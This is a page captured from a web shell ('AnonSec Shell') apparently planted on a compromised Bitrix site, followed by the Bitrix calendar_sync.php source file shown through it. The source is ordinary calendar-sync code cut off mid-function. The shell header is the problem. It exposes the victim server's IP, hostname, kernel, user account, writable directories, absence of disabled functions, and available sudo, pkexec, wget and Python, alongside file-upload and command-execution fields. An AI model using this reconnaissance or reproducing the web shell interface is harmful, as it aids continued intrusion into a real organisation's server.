AnonSec Shell
Server IP : 85.193.89.191  /  Your IP : 18.118.30.168
Web Server : Apache
System : Linux 956367-cx40159.tmweb.ru 3.10.0-1160.105.1.el7.x86_64 #1 SMP Thu Dec 7 15:39:45 UTC 2023 x86_64
User : bitrix ( 600)
PHP Version : 8.1.27
Disable Function : NONE
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/bitrix/www/bitrix/modules/calendar/classes/general/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/bitrix/www/bitrix/modules/calendar/classes/general/calendar_sync.php
<?php

use Bitrix\Calendar\Internals;
use Bitrix\Calendar\Sync\Factories\FactoriesCollection;
use Bitrix\Calendar\Sync\Google;
use Bitrix\Calendar\Sync\Office365;
use Bitrix\Calendar\Sync;
use Bitrix\Calendar\UserSettings;
use Bitrix\Calendar\Util;
use Bitrix\Main\DI\ServiceLocator;
use Bitrix\Main\Loader;
use Bitrix\Main\LoaderException;
use Bitrix\Main\ObjectNotFoundException;
use Bitrix\Main\Type;
use Bitrix\Main\Type\DateTime;
use Bitrix\Calendar\Core\Mappers\Factory;

class CCalendarSync
{
	public const SYNC_TIME = 86400;
	public static $attendeeList = [];
	public static $handleExchangeMeeting;
	public static $doNotSendToGoogle = false;
	private static $mobileBannerDisplay;
	

	/**
	 * @param $calendarId
	 * @param $arFields
	 * @param array $params
	 *
	 * @return array|array[]|bool|mixed|string|void|null
	 * @throws \Bitrix\Main\ObjectException
	 */
	public static function ModifyEvent($calendarId, $arFields, $params = [])
	{
		[$sectionId, $entityType, $entityId] = $calendarId;
		$userId = $entityType === 'user' ? $entityId : 0;
		$eventId = false;

		$bExchange = CCalendar::IsExchangeEnabled($userId) && $entityType === 'user';

		CCalendar::SetSilentErrorMode();
		if ($sectionId && ($section = CCalendarSect::GetById((int)$sectionId, false)))
		{
			CCalendar::SetOffset(false, CCalendar::GetOffset($userId));
			$eventId = ((isset($arFields['ID']) && ((int)$arFields['ID'] > 0)) ? (int)$arFields['ID'] : 0);
			$arNewFields = [
				'DAV_XML_ID' => $arFields['XML_ID'],
				'CAL_DAV_LABEL' => (isset($arFields['PROPERTY_BXDAVCD_LABEL']) && $arFields['PROPERTY_BXDAVCD_LABEL']) ? $arFields['PROPERTY_BXDAVCD_LABEL'] : '',
				'DAV_EXCH_LABEL' => (isset($arFields['PROPERTY_BXDAVEX_LABEL']) && $arFields['PROPERTY_BXDAVEX_LABEL']) ? $arFields['PROPERTY_BXDAVEX_LABEL'] : '',
				'ID' => $eventId,
				'NAME' => $arFields['NAME'] ?: GetMessage('EC_NONAME_EVENT'),
				'CAL_TYPE' => $section['CAL_TYPE'],
				'OWNER_ID' => $section['OWNER_ID'],
				'DESCRIPTION' => $arFields['DESCRIPTION'] ?? '',
				'SECTIONS' => [$sectionId],
				'ACCESSIBILITY' => $arFields['ACCESSIBILITY'] ?? 'busy',
				'IMPORTANCE' => $arFields['IMPORTANCE'] ?? 'normal',
				'REMIND' => (isset($arFields['REMIND']) && is_array($arFields['REMIND'])) ? $arFields['REMIND'] : [],
				'RRULE' => (isset($arFields['RRULE']) && is_array($arFields['RRULE'])) ? $arFields['RRULE'] : [],
				'VERSION' => isset($arFields['VERSION']) ? (int)$arFields['VERSION'] : 1,
				'PRIVATE_EVENT' => (bool)($arFields['PRIVATE_EVENT'] ?? null)
			];

			$currentEvent = CCalendarEvent::getList([
				'arFilter' => [
					'DAV_XML_ID' => $arNewFields['DAV_XML_ID'],
					'DELETED' => 'N'
				]
			]);
			if ($currentEvent)
			{
				$currentEvent = $currentEvent[0];
			}

			$arNewFields['DATE_FROM'] = $arFields['DATE_FROM'];
			$arNewFields['DATE_TO'] = $arFields['DATE_TO'];
			$arNewFields['TZ_FROM'] = $arFields['TZ_FROM'];
			$arNewFields['TZ_TO'] = $arFields['TZ_TO'];
			$arNewFields['SKIP_TIME'] = $arFields['SKIP_TIME'];

			if (isset($arFields['RECURRENCE_ID']))
			{
				$arNewFields['RECURRENCE_ID'] = $arFields['RECURRENCE_ID'];
			}

			if (isset($arFields['RECURRENCE_ID_DATE']) && $arFields['RECURRENCE_ID_DATE'])
			{
				$arNewFields['ORIGINAL_DATE_FROM'] = $arFields['RECURRENCE_ID_DATE'];
			}

			if (isset($arNewFields['SKIP_TIME']) && $arNewFields['SKIP_TIME'])
			{
				$arNewFields['DATE_FROM'] = CCalendar::Date(CCalendar::Timestamp($arNewFields['DATE_FROM']), false);
				$arNewFields['DATE_TO'] = CCalendar::Date(CCalendar::Timestamp($arNewFields['DATE_TO']) - CCalendar::GetDayLen(), false);
			}

			if (!empty($arFields['PROPERTY_REMIND_SETTINGS']))
			{
				if (is_array($arFields['PROPERTY_REMIND_SETTINGS']))
				{
					foreach ($arFields['PROPERTY_REMIND_SETTINGS'] as $remindSetting)
					{
						$ar = explode('_', $remindSetting);
						$arNewFields = self::prepareRemind($ar, $arNewFields);
					}
				}
				else
				{
					$ar = explode('_', $arFields['PROPERTY_REMIND_SETTINGS']);
					$arNewFields = self::prepareRemind($ar, $arNewFields);
				}
			}

			if (!empty($arFields['PROPERTY_ACCESSIBILITY']))
			{
				$arNewFields['ACCESSIBILITY'] = $arFields['PROPERTY_ACCESSIBILITY'];
			}
			if (!empty($arFields['PROPERTY_IMPORTANCE']))
			{
				$arNewFields['IMPORTANCE'] = $arFields['PROPERTY_IMPORTANCE'];
			}
			if (!empty($arFields['PROPERTY_LOCATION']))
			{
				$arNewFields['LOCATION'] = Bitrix\Calendar\Rooms\Util::unParseTextLocation($arFields['PROPERTY_LOCATION']);
			}
			if (!empty($arFields['DETAIL_TEXT']))
			{
				if (empty($arFields['MEETING']['LANGUAGE_ID']))
				{
					$arNewFields['MEETING']['LANGUAGE_ID'] = CCalendar::getUserLanguageId((int)$arNewFields['OWNER_ID']);
				}
				$arNewFields['DESCRIPTION'] = self::CutAttendeesFromDescription(
					$arFields['DETAIL_TEXT'],
					self::getAttendeesCodesForCut($currentEvent['ATTENDEES_CODES'] ?? null),
					$arNewFields['MEETING']['LANGUAGE_ID']
				);
			}

			$arNewFields['DESCRIPTION'] = CCalendar::ClearExchangeHtml($arNewFields['DESCRIPTION']);

			if (isset($arFields['PROPERTY_PERIOD_TYPE']) && in_array($arFields['PROPERTY_PERIOD_TYPE'], ["DAILY", "WEEKLY", "MONTHLY", "YEARLY"]))
			{
				$arNewFields['RRULE']['FREQ'] = $arFields["PROPERTY_PERIOD_TYPE"];
				$arNewFields['RRULE']['INTERVAL'] = $arFields["PROPERTY_PERIOD_COUNT"];

				if (!isset($arNewFields['DT_LENGTH']) && !empty($arFields['PROPERTY_EVENT_LENGTH']))
				{
					$arNewFields['DT_LENGTH'] = (int)$arFields['PROPERTY_EVENT_LENGTH'];
				}
				else if (isset($arFields['DT_TO_TS'], $arFields['DT_FROM_TS']))
				{
					$arNewFields['DT_LENGTH'] = $arFields['DT_TO_TS'] - $arFields['DT_FROM_TS'];
				}
				else
				{
					$arNewFields['DT_LENGTH'] = null;
				}

				if ($arNewFields['RRULE']['FREQ'] === "WEEKLY" && !empty($arFields['PROPERTY_PERIOD_ADDITIONAL']))
				{
					$arNewFields['RRULE']['BYDAY'] = [];
					$bydays = explode(',',$arFields['PROPERTY_PERIOD_ADDITIONAL']);
					foreach($bydays as $day)
					{
						$day = CCalendar::WeekDayByInd($day, false);
						if ($day !== false)
						{
							$arNewFields['RRULE']['BYDAY'][] = $day;
						}
					}

					$arNewFields['RRULE']['BYDAY'] = implode(',',$arNewFields['RRULE']['BYDAY']);
				}

				if (isset($arFields['PROPERTY_RRULE_COUNT']))
				{
					$arNewFields['RRULE']['COUNT'] = $arFields['PROPERTY_RRULE_COUNT'];
				}
				elseif (isset($arFields['PROPERTY_PERIOD_UNTIL']))
				{
					$arNewFields['RRULE']['UNTIL'] = $arFields['PROPERTY_PERIOD_UNTIL'];
				}
				else
				{
					$arNewFields['RRULE']['UNTIL'] = $arFields['DT_TO_TS'] ?? null;
				}

				if (isset($arFields['EXDATE']))
				{
					$arNewFields['EXDATE'] = $arFields["EXDATE"];
				}
			}

			if (
				isset($arFields['IS_MEETING'])
				&& $arFields['IS_MEETING']
				&& (($bExchange && self::isExchangeMeetingEnabled()) || $params['handleMeetingParams'])
			)
			{
				$arNewFields['IS_MEETING'] = $arFields['IS_MEETING'];
				$arNewFields['MEETING_HOST'] = $arFields['MEETING_HOST'];
				$arNewFields['MEETING'] = $arFields['MEETING'];
				$arNewFields['ATTENDEES_CODES'] = $arFields['ATTENDEES_CODES'];
			}

			$eventId = CCalendar::SaveEvent([
				'arFields' => $arNewFields,
				'userId' => $userId,
				'bAffectToDav' => false, // Used to prevent synchro with calDav again
				'bSilentAccessMeeting' => true,
				'autoDetectSection' => false,
				'sendInvitations' => ($params['sendInvitations'] ?? null) !== false,
				'syncCaldav' => $params['caldav'] ?? null,
			]);

			if ($eventId)
			{
				// Event actually is editing, but when it changes calendar category and
				// comes from the external device it looks like its new event.
				// But here we're trying to find original event and
				// if it was in DB - we delete it to avoid duplication
				if (
					$currentEvent
					&& $currentEvent['ID']
					&& (int)$sectionId !== (int)$currentEvent['SECTION_ID']
					&& !$currentEvent['RECURRENCE_ID']
					&& $arNewFields['OWNER_ID'] === $currentEvent['OWNER_ID']
				)
				{
					CCalendar::DeleteEvent($currentEvent['ID']);
				}
			}
			else
			{
				CCalendarSect::UpdateModificationLabel($sectionId);
			}

			if (
				$eventId
				&& ($arFields['IS_MEETING'] ?? null)
				&& ($arFields['ATTENDEES_RESPONSE'] ?? null)
				&& $bExchange
				&& self::isExchangeMeetingEnabled()
			)
			{
				foreach($arFields['ATTENDEES_RESPONSE'] as $attendeeId => $status)
				{
					CCalendarEvent::SetMeetingStatus([
						'userId' => $attendeeId,
						'eventId' => $eventId,
						'status' => $status,
						'personalNotification' => false,
						'hostNotification' => false,
						'affectRecRelatedEvents' => false,
						'updateDescription' => false,
					]);
				}
			}
		}

		CCalendar::SetSilentErrorMode(false);

		return $eventId;
	}

	public static function ModifyReccurentInstances($params = array())
	{
		CCalendar::SetSilentErrorMode();
		$parentEvent = CCalendarEvent::GetById($params['parentId']);

		if ($parentEvent && CCalendarEvent::CheckRecurcion($parentEvent))
		{
			$excludeDates = CCalendarEvent::GetExDate($parentEvent['EXDATE']);

			foreach ($params['events'] as $arFields)
			{
				if (isset($parentEvent['IS_MEETING']) && $parentEvent['IS_MEETING'])
				{
					$arFields['IS_MEETING'] = $parentEvent['IS_MEETING'];
					$arFields['MEETING_HOST'] = $parentEvent['MEETING_HOST'];
					$arFields['MEETING'] = $parentEvent['MEETING'];
					$arFields['ATTENDEES_CODES'] = $parentEvent['ATTENDEES_CODES'];
				}

				$arFields['RECURRENCE_ID'] = $parentEvent['ID'];
				self::ModifyEvent(
					$params['calendarId'],
					$arFields,
					[
						'handleMeetingParams' => $parentEvent['IS_MEETING'],
						'sendInvitations' => false,
					]);

				if ($arFields['RECURRENCE_ID_DATE'])
				{
					$excludeDates[] = CCalendar::Date(CCalendar::Timestamp($arFields['RECURRENCE_ID_DATE']), false);
				}
			}

			$res = CCalendar::SaveEventEx(array(
				'arFields' => array(
					'ID' => $parentEvent['ID'],
					'EXDATE' => CCalendarEvent::SetExDate($excludeDates)
				),
				'bSilentAccessMeeting' => true,
				'recursionEditMode' => 'skip',
				'silentErrorMode' => true,
				'sendInvitations' => false,
				'bAffectToDav' => false,
				'sendEditNotification' => false
			));
		}

		CCalendar::SetSilentErrorMode(false);
	}

	public static function DoSaveToDav(&$arFields, $params = [], $event = false)
	{
		// if (self::$doNotSendToGoogle)
		// {
		// 	return true;
		// }

		$sectionId = $params['sectionId'];
		$modeSync = $params['modeSync'];
		$parameters['editInstance'] = $params['editInstance'];
		// $parameters['originalDavXmlId'] = $params['originalDavXmlId'];
		// $parameters['editParentEvents'] = $params['editParentEvents'];
		// $parameters['editNextEvents'] = $params['editNextEvents'];
		// $parameters['instanceTz'] = $params['instanceTz'];
		$bExchange = $params['bExchange'];
		$bCalDav = $params['bCalDav'];
		$parameters['syncCaldav'] = $params['syncCaldav'];

		if (isset($event['DAV_XML_ID']))
		{
			$arFields['DAV_XML_ID'] = $event['DAV_XML_ID'];
		}
		if (isset($event['DAV_EXCH_LABEL']))
		{
			$arFields['DAV_EXCH_LABEL'] = $event['DAV_EXCH_LABEL'];
		}
		if (isset($event['CAL_DAV_LABEL']))
		{
			$arFields['CAL_DAV_LABEL'] = $event['CAL_DAV_LABEL'];
		}
		if (!isset($arFields['DATE_CREATE']) && isset($event['DATE_CREATE']))
		{
			$arFields['DATE_CREATE'] = $event['DATE_CREATE'];
		}
		if (!isset($arFields['G_EVENT_ID']) && isset($event['G_EVENT_ID']))
		{
			$arFields['G_EVENT_ID'] = $event['G_EVENT_ID'];
		}


		$section = CCalendarSect::GetById($sectionId, false);

		if ($event && (int)$event['SECT_ID'] !== (int)$sectionId)
		{
			$bCalDavCur = CCalendar::IsCalDAVEnabled() && $event['CAL_TYPE'] === 'user' && $event['CAL_DAV_LABEL'] <> '';
			$bExchangeEnabledCur = CCalendar::IsExchangeEnabled() && $event['CAL_TYPE'] === 'user';

			if ($bExchangeEnabledCur || $bCalDavCur)
			{
				$res = self::DoDeleteToDav(array(
					'bCalDav' => $bCalDavCur,
					'bExchangeEnabled' => $bExchangeEnabledCur,
					'sectionId' => $event['SECT_ID']
				), $event);

				if ($event['DAV_EXCH_LABEL'])
				{
					$event['DAV_EXCH_LABEL'] = '';
				}

				if ($res !== true)
				{
					return CCalendar::ThrowError($res);
				}

				//to save as a new event, not update an existing one
				$newSection = CCalendarSect::GetById($event['SECT_ID'], false);

				if ($section['CAL_DAV_CON'] === $newSection['CAL_DAV_CON']
					&& $section['ID'] !== $newSection['ID'])
				{
					unset($arFields['DAV_XML_ID']);
				}
			}
		}

		$arDavFields = $arFields;
		CCalendarEvent::CheckFields($arDavFields);

		if ($arDavFields['RRULE'] != '')
		{
			$arDavFields['RRULE'] = $arFields['RRULE'];
		}

		if ($arDavFields['LOCATION']['NEW'] !== '')
		{
			$arDavFields['LOCATION']['NEW'] = CCalendar::GetTextLocation($arDavFields['LOCATION']['NEW']);
		}
		$arDavFields['PROPERTY_IMPORTANCE'] = $arDavFields['IMPORTANCE'];
		$arDavFields['PROPERTY_LOCATION'] = $arDavFields['LOCATION']['NEW'];

		$arDavFields['PROPERTY_REMIND_SETTINGS'] = '';
		if (!empty($arFields['REMIND'][0]) && is_array($arFields['REMIND'][0]))
		{
			$arDavFields['PROPERTY_REMIND_SETTINGS'] = floatVal($arFields['REMIND'][0]['count'] ?? null)
				. '_' . $arFields['REMIND'][0]['type'];
		}

		if (isset($arDavFields['RRULE']['BYDAY']) && is_array($arDavFields['RRULE']['BYDAY']))
		{
			$arDavFields['RRULE']['BYDAY'] = implode(',',$arDavFields['RRULE']['BYDAY']);
		}

		// **** Synchronize with CalDav ****
		if ($bCalDav && ($section['CAL_DAV_CON'] ?? null) > 0 && empty($parameters['syncCaldav']))
		{
			// New event or move existent event to DAV calendar
			if ((int)($arFields['ID'] ?? null) <= 0 || ($event && empty($event['CAL_DAV_LABEL'])))
			{
				$DAVRes = CDavGroupdavClientCalendar::DoAddItem(
					$section['CAL_DAV_CON'],
					$section['CAL_DAV_CAL'] ?? null,
					$arDavFields
				);
			}
			else // Edit existent event
			{
				$DAVRes = CDavGroupdavClientCalendar::DoUpdateItem(
					$section['CAL_DAV_CON'],
					$section['CAL_DAV_CAL'] ?? null,
					$event['DAV_XML_ID'] ?? null,
					$event['CAL_DAV_LABEL'] ?? null,
					$arDavFields
				);
			}

			if (!is_array($DAVRes) || !isset($DAVRes['XML_ID']))
			{
				return CCalendar::CollectCalDAVErros($DAVRes);
			}

			// // It's ok, we successfuly save event to caldav calendar - and save it to DB
			$arFields['DAV_XML_ID'] = $DAVRes['XML_ID'];
			$arFields['CAL_DAV_LABEL'] = $DAVRes['MODIFICATION_LABEL'];
		}
		// **** Synchronize with Exchange ****
		elseif ($bExchange && $section['IS_EXCHANGE'] && $section['DAV_EXCH_CAL'] <> '' && $section['DAV_EXCH_CAL'] !== 0 && $modeSync)
		{
			$ownerId = $arFields['OWNER_ID'] ?? null;

			// Here we check if parent event was created in exchange calendar and if it is meeting
			// If yes, we expect that it was already created in MS Exchange server
			// and we don't need to dublicate this entry.
			if (
				self::isExchangeMeetingEnabled()
				&& ($arFields['IS_MEETING'] ?? null)
				&& ($arFields['MEETING_HOST'] ?? null) != $ownerId
				&& CCalendar::IsExchangeEnabled($arFields['MEETING_HOST'] ?? null)
			)
			{
				$parentEvent = CCalendarEvent::GetById($arFields['PARENT_ID']);
				if ($parentEvent['DAV_EXCH_LABEL'])
				{
					$parentSection = CCalendarSect::GetById($parentEvent['SECT_ID'], false);
					if (
						$parentSection['IS_EXCHANGE']
						&& $parentSection['DAV_EXCH_CAL'] <> ''
						&& $parentSection['DAV_EXCH_CAL'] !== 0)
					{
						return;
					}
				}
			}

			if (
				self::isExchangeMeetingEnabled()
				&& $arFields['IS_MEETING']
				&& (int)$arFields['MEETING_HOST'] === (int)$ownerId
				&& !empty($arFields['ATTENDEES'])
			)
			{
				$arDavFields['REQUIRED_ATTENDEES'] = self::GetExchangeEmailForUser($arFields['ATTENDEES']);
				if (empty($arDavFields['REQUIRED_ATTENDEES']))
				{
					unset($arDavFields['REQUIRED_ATTENDEES']);
				}
			}

			$fromTo = CCalendarEvent::GetEventFromToForUser($arDavFields, $ownerId);
			$arDavFields["DATE_FROM"] = $fromTo['DATE_FROM'];
			$arDavFields["DATE_TO"] = $fromTo['DATE_TO'];

			// Convert BBcode to HTML for exchange
			$arDavFields["DESCRIPTION"] = CCalendarEvent::ParseText($arDavFields['DESCRIPTION']);
			$updateEvent = !($params['editInstance']);

			if ($params['editParentEvents'] && !empty($arDavFields['RRULE']['UNTIL']))
			{
				$until = Type\Date::createFromTimestamp($arDavFields['DATE_TO_TS_UTC']);
				$arDavFields['DATE_TO_TS_UTC'] = $until->add('-1 day')->getTimestamp();
			}

			// New event  or move existent event to Exchange calendar
			if (
				(int)($arFields['ID'] ?? null) === 0
				|| ($event && !$event['DAV_EXCH_LABEL'] && $updateEvent)
			)
			{
				$exchRes = CDavExchangeCalendar::DoAddItem($ownerId, $section['DAV_EXCH_CAL'], $arDavFields);
			}
			else
			{
				$exchRes = CDavExchangeCalendar::DoUpdateItem($ownerId, $event['DAV_XML_ID'], $event['DAV_EXCH_LABEL'], $arDavFields, $params);
			}

			if (!is_array($exchRes) || !array_key_exists("XML_ID", $exchRes))
			{
				return CCalendar::CollectExchangeErrors($exchRes);
			}

			// It's ok, we successfuly save event to exchange calendar - and save it to DB
			$arFields['DAV_XML_ID'] = $exchRes['XML_ID'];
			$arFields['DAV_EXCH_LABEL'] = $exchRes['MODIFICATION_LABEL'];
		}

		return true;
	}

	public static function DoDeleteToDav($params, $event)
	{
		$sectionId = $params['sectionId'];
		$section = CCalendarSect::GetById($sectionId, false);

		$bExchangeEnabled = $params['bExchangeEnabled'];
		$bCalDav = $params['bCalDav'];

		// Google and other caldav
		if ($bCalDav && $section['CAL_DAV_CON'] > 0 && $event['CAL_DAV_LABEL'])
		{
			$DAVRes = CDavGroupdavClientCalendar::DoDeleteItem($section['CAL_DAV_CON'], $section['CAL_DAV_CAL'], $event['DAV_XML_ID']);$service = new \Bitrix\Calendar\Sync\Icloud\VendorSyncService();
			if ($DAVRes !== true)
			{
				return CCalendar::CollectCalDAVErros($DAVRes);
			}
		}
		// Exchange
		if ($bExchangeEnabled && $section['IS_EXCHANGE'])
		{
			$exchRes = CDavExchangeCalendar::DoDeleteItem($event['OWNER_ID'], $event['DAV_XML_ID']);
			if ($exchRes !== true)
				return CCalendar::CollectExchangeErrors($exchRes);
		}

		return true;
	}

	public static function syncCalendarSections($connectionType, $arCalendars, $entityType, $entityId, $connectionId = null): array
	{
		//Array(
		//	[0] => Array(
		//		[XML_ID] => calendar
		//		[NAME] => calendar
		//	)
		//	[1] => Array(
		//		[XML_ID] => AQATAGFud...
		//		[NAME] => geewgvwe 1
		//		[DESCRIPTION] => gewgvewgvw
		//		[COLOR] => #FF0000
		//		[MODIFICATION_LABEL] => af720e7c7b6a
		//	)
		//)

		$result = [];
		if (
            $connectionType === Bitrix\Calendar\Sync\Caldav\Helper::EXCHANGE_TYPE
			|| $connectionType === Bitrix\Calendar\Sync\Caldav\Helper::CALDAV_TYPE
        )
		{
			CCalendar::SetSilentErrorMode();
			$entityType = mb_strtolower($entityType);
			$entityId = (int)$entityId;

			$tempUser = CCalendar::TempUser(false, true);
			$calendarNames = [];
			foreach ($arCalendars as $value)
			{
				$calendarNames[$value["XML_ID"]] = $value;
			}

			if ($connectionType === Bitrix\Calendar\Sync\Caldav\Helper::CALDAV_TYPE)
			{
				$arFilter = [
					'CAL_TYPE' => $entityType,
					'OWNER_ID' => $entityId,
					'!CAL_DAV_CAL' => false,
					'CAL_DAV_CON' => $connectionId
				];
				$xmlIdField = "CAL_DAV_CAL";
				$xmlIdModLabel = "CAL_DAV_MOD";
			}
 			else // Exchange
			{
				$arFilter = [
					'CAL_TYPE' => $entityType,
					'OWNER_ID' => $entityId,
					'!DAV_EXCH_CAL' => false,
					'IS_EXCHANGE' => 1
				];
				$xmlIdField = "DAV_EXCH_CAL";
				$xmlIdModLabel = "DAV_EXCH_MOD";
			}

			$res = CCalendarSect::GetList([
				'arFilter' => $arFilter,
				'checkPermissions' => false,
				'getPermissions' => false
			]);

			foreach($res as $section)
			{
				$xmlId = $section[$xmlIdField];
				$modificationLabel = $section[$xmlIdModLabel];

				if (
					empty($xmlId)
					|| ($connectionType === Bitrix\Calendar\Sync\Caldav\Helper::CALDAV_TYPE && $section['DAV_EXCH_CAL'])
				)
				{
					continue;
				}

				if (!array_key_exists($xmlId, $calendarNames))
				{
					CCalendarSect::Delete($section["ID"]);
				}
				else
				{
					if ($modificationLabel !== $calendarNames[$xmlId]["MODIFICATION_LABEL"])
					{
						CCalendarSect::Edit([
							'arFields' => [
								"ID" => $section["ID"],
								"NAME" => $calendarNames[$xmlId]["NAME"],
								"OWNER_ID" => $entityType === 'user' ? $entityId : 0,
								"CREATED_BY" => $entityType === 'user' ? $entityId : 0,
								"DESCRIPTION" => $calendarNames[$xmlId]["DESCRIPTION"],
								"COLOR" => $calendarNames[$xmlId]["COLOR"],
								$xmlIdModLabel => $calendarNames[$xmlId]["MODIFICATION_LABEL"],
							]
						]);
					}

					if (empty($modificationLabel) || ($modificationLabel !== $calendarNames[$xmlId]["MODIFICATION_LABEL"]))
					{
						$result[] = [
							"XML_ID" => $xmlId,
							"CALENDAR_ID" => [$section["ID"], $entityType, $entityId]
						];
					}

					unset($calendarNames[$xmlId]);
				}
			}

			foreach($calendarNames as $key => $value)
			{
				$arFields = [
					'CAL_TYPE' => $entityType,
					'OWNER_ID' => $entityId,
					'NAME' => $value["NAME"],
					'DESCRIPTION' => $value["DESCRIPTION"] ?? null,
					'COLOR' => $value["COLOR"] ?? null,
					'EXPORT' => ['ALLOW' => false],
					'CREATED_BY' => $entityType === 'user' ? $entityId : 0,
					'ACCESS' => [],
					'EXTERNAL_TYPE' => $connectionType,
					$xmlIdField => $key,
					$xmlIdModLabel => $value["MODIFICATION_LABEL"] ?? null
				];

				if ($connectionType === Bitrix\Calendar\Sync\Caldav\Helper::CALDAV_TYPE)
				{
					$arFields["CAL_DAV_CON"] = $connectionId;
				}
				if ($entityType === 'user')
				{
					$arFields["CREATED_BY"] = $entityId;
				}
				if ($connectionType === Bitrix\Calendar\Sync\Caldav\Helper::EXCHANGE_TYPE)
				{
					$arFields["IS_EXCHANGE"] = 1;
				}

				$id = (int)CCalendar::SaveSection(['arFields' => $arFields, 'bAffectToDav' => false]);
				if ($id)
				{
					$result[] =
						[
							"XML_ID" => $key,
							"CALENDAR_ID" => [
								$id,
								$entityType,
								$entityId
							]
						];
				}
			}

			CCalendar::TempUser($tempUser, false);
			CCalendar::SetSilentErrorMode(false);
		}

		return $result;
	}
	
	public static function GetExchangeEmailForUser($idList = [])
	{
		global $DB;

		$users = [];

		if (CCalendar::IsSocNet())
		{
			if(is_array($idList))
			{
				$idList = array_unique($idList);
			}
			else
			{
				$idList = array($idList);
			}

			$strIdList = "";
			foreach($idList as $id)
			{
				if((int)$id > 0)
				{
					$strIdList .= ','.(int)$id;
				}
			}
			$strIdList = trim($strIdList, ', ');

			if($strIdList != '')
			{
				$exchangeMailbox = COption::GetOptionString("dav", "exchange_mailbox", "");
				$exchangeUseLogin = COption::GetOptionString("dav", "exchange_use_login", "Y");

				$strSql = "SELECT U.ID, U.LOGIN, U.EMAIL, BUF.UF_BXDAVEX_MAILBOX
					FROM b_user U
					LEFT JOIN b_uts_user BUF ON (BUF.VALUE_ID = U.ID)
					WHERE
						U.ACTIVE = 'Y' AND
						U.ID in (".$strIdList.")";

				$res = $DB->Query($strSql, false, "File: ".__FILE__."<br>Line: ".__LINE__);
				while($entry = $res->Fetch())
				{
					$users[$entry['ID']] = (($exchangeUseLogin === "Y")
						? $entry["LOGIN"].$exchangeMailbox
						: $entry["UF_BXDAVEX_MAILBOX"])
					;
					if (empty($users[$entry['ID']]))
					{
						$users[$entry['ID']] = $entry['EMAIL'];
					}
				}
			}
		}

		return $users;
	}

	public static function GetUsersByEmailList($emailList = array())
	{
		global $DB;
		$users = [];

		if (CCalendar::IsSocNet())
		{
			$exchangeMailbox = COption::GetOptionString("dav", "exchange_mailbox", "");
			$exchangeUseLogin = COption::GetOptionString("dav", "exchange_use_login", "Y");
			$exchangeMailboxStrlen = mb_strlen($exchangeMailbox);

			$strValue = "";
			foreach($emailList as $email)
			{
				$strValue .= ",'".$DB->ForSql($email)."'";
			}
			$strValue = trim($strValue, ', ');

			if($strValue != '')
			{
				$strSql = "SELECT U.ID, BUF.UF_BXDAVEX_MAILBOX
						FROM b_user U
						LEFT JOIN b_uts_user BUF ON (BUF.VALUE_ID = U.ID)
						WHERE
							U.ACTIVE = 'Y' AND
							BUF.UF_BXDAVEX_MAILBOX in (".$strValue.")";

				$res = $DB->Query($strSql, false, "File: ".__FILE__."<br>Line: ".__LINE__);
				$checkedEmails = [];
				while($entry = $res->Fetch())
				{
					$checkedEmails[] = mb_strtolower($entry["UF_BXDAVEX_MAILBOX"]);
					$users[] = $entry['ID'];
				}

				if ($exchangeUseLogin == "Y")
				{
					$strLogins = '';
					foreach($emailList as $email)
					{
						if(!in_array(mb_strtolower($email), $checkedEmails) && mb_strtolower(mb_substr($email, mb_strlen($email) - $exchangeMailboxStrlen)) == mb_strtolower($exchangeMailbox))
						{
							$value = mb_substr($email, 0, mb_strlen($email) - $exchangeMailboxStrlen);
							$strLogins .= ",'".$DB->ForSql($value)."'";
						}
					}
					$strLogins = trim($strLogins, ', ');

					if ($strLogins !== '')
					{
						$res = $DB->Query("SELECT U.ID, U.LOGIN FROM b_user U WHERE U.ACTIVE = 'Y' AND U.LOGIN in (".$strLogins.")", false, "File: ".__FILE__."<br>Line: ".__LINE__);

						while($entry = $res->Fetch())
						{
							$users[] = $entry['ID'];
						}
					}
				}
			}
		}

		return $users;
	}

	public static function isExchangeMeetingEnabled()
	{
		if (!isset(self::$handleExchangeMeeting))
		{
			self::$handleExchangeMeeting = COption::GetOptionString('calendar', 'sync_exchange_meeting', false);
		}
		return self::$handleExchangeMeeting;
	}

	public static function isTaskListSyncEnabled()
	{
		$userSettings = UserSettings::get();
		return $userSettings['showTasks'] === 'Y' && $userSettings['syncTasks'] === 'Y';
	}

	/**
	 * @throws \Bitrix\Main\ObjectPropertyException
	 * @throws \Bitrix\Main\SystemException
	 * @throws \Bitrix\Main\ArgumentException
	 */
	private static function GetPassDates($id, $exDates)
	{
		$excludeDates = [];

		$instancesDM = Internals\EventTable::query()
			->addFilter('=RECURRENCE_ID', $id)
			->setSelect(['ORIGINAL_DATE_FROM'])
			->exec()
		;
		// $instances = Internals\EventTable::getList([
		// 	'filter' => [
		// 		'=RECURRENCE_ID' => $id,
		// 	],
		// 	'select' => [
		// 		'ORIGINAL_DATE_FROM'
		// 	],
		// ]);

		while ($instance = $instancesDM->fetch())
		{
			if ($instance['ORIGINAL_DATE_FROM'] instanceof Type\Date)
			{
				$excludeDates[] = $instance['ORIGINAL_DATE_FROM']->format('d.m.Y');
			}
		}

		if ($excludeDates)
		{
			$eventExDate = explode(';', $exDates);
			$result = array_diff($eventExDate, $excludeDates);

			return implode(';', $result);
		}

		return $exDates;
	}

	/**
	 * @param string|null $description
	 * @param array|null $attendeesCodes
	 * @param string $languageId
	 * @return string|null
	 * @throws \Bitrix\Main\ArgumentException
	 * @throws \Bitrix\Main\ObjectPropertyException
	 * @throws \Bitrix\Main\SystemException
	 */
	public static function CutAttendeesFromDescription(
		?string $description,
		?array $attendeesCodes,
		?string $languageId
	): ?string
	{
		if (empty($attendeesCodes))
		{
			return $description;
		}

		IncludeModuleLangFile($_SERVER["DOCUMENT_ROOT"].BX_ROOT."/modules/calendar/lib/sync/googleapisync.php");

		$deleteParts = Util::getAttendees($attendeesCodes, "%");
		$countSeparators = count($attendeesCodes) - 1;
		$deleteParts[] = '%' . \Bitrix\Main\Localization\Loc::getMessage('ATTENDEES_EVENT', null, $languageId) . ':%';
		$description = preg_replace($deleteParts, '', $description, 1);

		return trim(preg_replace("%,%", "", $description, $countSeparators));
	}

	/**
	 * @param array $externalEvents
	 * @param array $localEvents
	 * @param $localCalendar
	 */
	private static function SaveExternalEvents(array $externalEvents, array $localEvents, $localCalendar): void
	{
		foreach ($externalEvents as $externalEvent)
		{
			$eventExists = !empty($localEvents[$externalEvent['G_EVENT_ID']]);
